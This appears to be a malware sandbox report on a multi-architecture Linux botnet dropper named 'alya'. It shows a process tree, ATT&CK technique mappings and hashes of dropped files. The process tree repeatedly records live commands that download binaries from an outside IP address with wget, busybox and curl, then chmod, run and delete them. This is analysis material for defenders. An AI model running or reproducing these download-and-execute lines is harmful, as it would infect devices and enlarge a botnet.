  2⤵
  PID:995
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i686
  2⤵
  - Writes file to tmp directory
  PID:996
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:1012
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:1013
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1015
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1016
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1017
- /bin/chmod
  chmod 777 alya.i686
  2⤵
  - File and Directory Permissions Modification
  PID:1018
- /tmp/alya.i686
  ./alya.i686 android.alya.i686
  2⤵
  PID:1019
- /bin/rm
  rm -rf alya.i686
  2⤵
  PID:1021
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1022
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1023
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1024
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1025
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1026
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1027
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1028
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1029
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1030
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1032
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1033
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.mipsel
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1034
- /bin/chmod
  chmod 777 alya.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1035
- /tmp/alya.mipsel
  ./alya.mipsel android.alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1036
- /bin/rm
  rm -rf alya.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1038
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1039
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.sparc
  2⤵
  PID:1040
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1041
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1042
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1043
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1044
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.sparc
  2⤵
  - Writes file to tmp directory
  PID:1045
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1046
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1047
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1049
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1050
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.sparc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1051
- /bin/chmod
  chmod 777 alya.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1052
- /tmp/alya.sparc
  ./alya.sparc android.alya.sparc
  2⤵
  PID:1053
- /bin/rm
  rm -rf alya.sparc
  2⤵
  PID:1055
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1056
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.armv5l
  2⤵
  PID:1057
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1058
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1059
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1060
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1061
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1062
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1065
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1066
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1067
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1068
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.armv5l
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:1069
- /bin/chmod
  chmod 777 alya.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1070
- /tmp/alya.armv5l
  ./alya.armv5l android.alya.armv5l
  2⤵
  PID:1071
- /bin/rm
  rm -rf alya.armv5l
  2⤵
  PID:1072
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1073
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.i486
  2⤵
  PID:1074
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1075
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1076
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1077
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1078
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.i486
  2⤵
  - Writes file to tmp directory
  PID:1079
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1080
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1081
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1083
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1084
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.i486
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1085
- /bin/chmod
  chmod 777 alya.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1086
- /tmp/alya.i486
  ./alya.i486 android.alya.i486
  2⤵
  PID:1087
- /bin/rm
  rm -rf alya.i486
  2⤵
  PID:1090
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1091
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.m68k
  2⤵
  PID:1092
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1093
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1094
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1095
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1096
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.m68k
  2⤵
  - Writes file to tmp directory
  PID:1097
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1098
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1099
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1101
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1102
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.m68k
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:1103
- /bin/chmod
  chmod 777 alya.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1104
- /tmp/alya.m68k
  ./alya.m68k android.alya.m68k
  2⤵
  PID:1105
- /bin/rm
  rm -rf alya.m68k
  2⤵
  PID:1107
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1108
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.powerpc
  2⤵
  PID:1109
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1110
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1111
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1112
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1113
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.powerpc
  2⤵
  - Writes file to tmp directory
  PID:1114
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1115
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1116
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1118
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1119
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.powerpc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:1120
- /bin/chmod
  chmod 777 alya.powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1121
- /tmp/alya.powerpc
  ./alya.powerpc android.alya.powerpc
  2⤵
  PID:1122
- /bin/rm
  rm -rf alya.powerpc
  2⤵
  PID:1124
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1125
- /usr/bin/wget
  wget http://202.110.70.60:800/alya.x86_64
  2⤵
  PID:1126
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1127
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1128
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1129
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1130
- /bin/busybox
  busybox wget http://202.110.70.60:800/alya.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1131
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1132
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1133
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1135
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1136
- /usr/bin/curl
  curl -O http://202.110.70.60:800/alya.x86_64
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:1137
- /bin/chmod
  chmod 777 alya.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1140
- /tmp/alya.x86_64
  ./alya.x86_64 android.alya.x86_64
  2⤵
  PID:1141
- /bin/rm
  rm -rf alya.x86_64
  2⤵
  PID:1143

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

alya.arc

Path /tmp/alya.arc
Size 89KB
SHA256 46c2213079848ee09d843de65a67b63ab061f3002fcf70e63e5d9c6a974fc69c
MD5 16ef618bf21a3322c6793be87d553f08
SHA1 18eee478866d0829560ed0c11c4f6e1faa5dffbc
SHA512 90b24fcee9f09d8f6fd3496303a176e4747e6437e075abd633a6b5fe1d522688e776166fc5749ce840923ada8d82b72ecc40bf9a341e187a9183d7bea6f03040
SSDEEP 1536:W/MlrduOjiw2kDji1tVudPvivfb3Ugz/LWeX:W6jqkDjGvu9vivz3Ugzqe
TLSH
T1E9936ACBF60B9992CC1146F04BC75B9E3E172221DE1398F33C1E6A76447A1DB990A7D2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cmdline

Path /tmp/cmdline
Size 11B
SHA256 6628c1ade33319fc12730a87856ccdb1e4eaed9a0aa2b0bce0535a97a232f272
MD5 88af90d1f18b944c6d2365f389b9bfe5
SHA1 9cb724a1fb906a66b81d24a84257e3cf69b69214
SHA512 254c37d06ebbff6b4e7c1ee2e354e142e7c8fc26c8b396712b875979de4234bc121225e765eb65d3008fa159488b245c0e30d613a9f99c90519f1b1b184178d4
MD5 SHA1 SHA512

Submit Download

stat

Path /tmp/stat
Size 247B
SHA256 7bc645d514a2fa9dd139e575cbff9ae2cc2c8ea46909d9b3d6576eb97058d44d
MD5 b80f41dc06b245b75f85b2886baeb82d
SHA1 dab57648883531012765956cb41686a0572844e3
SHA512 959cbd7226ff4e16ac0dd70e83968ccb3ed610c0e233f0610feed7bb0c47919822d9514eb7e8bf30e5492ede50992d20788ea1c2850013b76e80b3a4810da768
TLSH
T196D097E82588D8ECC6D3CBA5640206024F2FF17C3A5B063C2C9C0A702C42A1BCEDB824
MD5 SHA1 SHA512 TLSH

Submit Download

stat

Path /tmp/stat
Size 248B
SHA256 1c71f51ef7f2171069de47d3d58328b71e9ebf15e1f4f74f3fd78732c2f91529
MD5 6735b8f4264bb1a75e5efc695a6193c8
SHA1 094e11081ce17f97211d4ec94eb551f5c5f30079
SHA512 cf21de0e26b1ce0403d264f93717a1e9a64ec01468db8e064c852910501b71cb2ce0855dd4f11ba62f4ec273a33260bae4ffd97855cfb4c1d94edc8d90807a49
TLSH
T16CD095DC25DC94DCD597C775610205434B0FF07C3797253C2C5C09643805517C5D7834
MD5 SHA1 SHA512 TLSH

Submit Download

stat

Path /tmp/stat
Size 247B
SHA256 ad442bbf4b3b2a68ef43bd30303c08452e12bd850b83e8160ac5faf41b043f7f
MD5 7fdc5127de9e676e0889c30763d72a3e
SHA1 762a204796c4d7cc9a3fb0d7f3f047c89e55d964
SHA512 99794815c0a1036aeac8c708a502371ad0505a9865d38c71dee1f45d0c30ae1ddabbe23b6ea37edc4e748a8512bd887b3484c8e9819400943eb091fdc63bdb78
TLSH
T1ABD097E8358CD8ECC6D2CAA561020A028F1FF07C365B063C2C9C0A202C02B1BCAEBC24
MD5 SHA1 SHA512 TLSH

Submit Download

statm

Path /tmp/statm
Size 27B
SHA256 b17c94bec116f464dde0152c908bae0461b2a922f71e361397447ab2c319dde1
MD5 7e7b3d8535167bb47ae4b066cf3827e4
SHA1 7c94e56ec14fbcd80c9060fdd28d7e7f873ff728
SHA512 a743b541fbd7db074657c34d87bd40bbb8d31999b6bf7234d8137a523fd4b32eb55ed05110d72f06ff300109a57c00ba7b7ac3d0a58a616b39d68279fead273b
MD5 SHA1 SHA512

Submit Download

status

Path /tmp/status
Size 973B
SHA256 b7c6c8c069e6df5d8cf73fa3b9a4d7c76f319bca6a03b75917f26a5f6389eef0
MD5 caab6219dc7a22113ee09889a0ea6770
SHA1 e1d80180fb320839787e5a831ce7ee4497d81fd8
SHA512 5700a1a7b8693c3b9b1a1026fa1d663cd98d10854bae61eb59e011ca6aa2170c1e0b40eec53fe0194a6a9d7661e312b9400c8889faf8f09da521042629ac935c
TLSH
T17E1155208FD7BC98CABE9348059AF4166070F21978E16531300FC9BCBB3725FA7888D4
MD5 SHA1 SHA512 TLSH

Submit Download

status

Path /tmp/status
Size 973B
SHA256 da79f8ba3044902b6c3c788133fd9dac25a5cc12109e6ac784e3a5977c9172ad
MD5 bc2a943aa6163d48f9e5471b31b65b3a
SHA1 86371660f149d06b47ba1f6f90b531c94571d1ad
SHA512 aae9e8463744d282b4cac98f21354cdd4d324c5a01cfb780a3c1206f44b1875224d47ea165c4b0c5ecf95bca5710c6ae62a7e5eeec28f9fc487912f9621f2c87
TLSH
T1981155208FD7BC98CABE934805AAF4166074F21978E16531700FC9BCBB3725FA7888D4
MD5 SHA1 SHA512 TLSH

Submit Download

status

Path /tmp/status
Size 973B
SHA256 5bc1459cf04b6445bbf3bcaa2221f8ddeb022a951a7274b509b29535fca775df
MD5 3bcfc7af803dcb08c1f507f1c825e2f7
SHA1 575ceb7bb2e7b7789d2d333a1ee4567ed9c0166e
SHA512 e1dd526660233a41654741be1645aa33f0a1b5cbfa86afd598ad3e4e7e05234a39b0558c7ec974c232409581e63d68e29f24b89865124204d94d5f5eed8e743d
TLSH
T1B41155208FD7BC98CABE9348059AF4126070F21978E16531700FC9BCBB3725FA7888D4
MD5 SHA1 SHA512 TLSH

Submit Download

wget

Path /usr/bin/wget
Size 47KB
SHA256 46ea1152f9440941eaa494d865097516584cbb9637e8cc234d5e4f9b5dddcee2
MD5 76021af2d82cade790dd87d3af0f80c9
SHA1 a76ac307020ec367f372994cc93ab6d16e52bf6e
SHA512 1d4a80e848ecf7608a691813da9ae978346b04671c3edaf7fdab81c1a64e15ad4b43bed944934fd9e7b82be891204805e7e58662e9596fae30088fb2fb4b3126
SSDEEP 768:ZvfmtcLl9Vm/FsezQrHl1eCoMYuN3+ACFUpzKlVXiwXRrvHI:ZfmtcQNOzpYuFwez2lRrvH
TLSH
T165234C94FAC19A13C5D41577BA2E829C371303BCE2ED73039D2A9F60379B8260E7B555
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads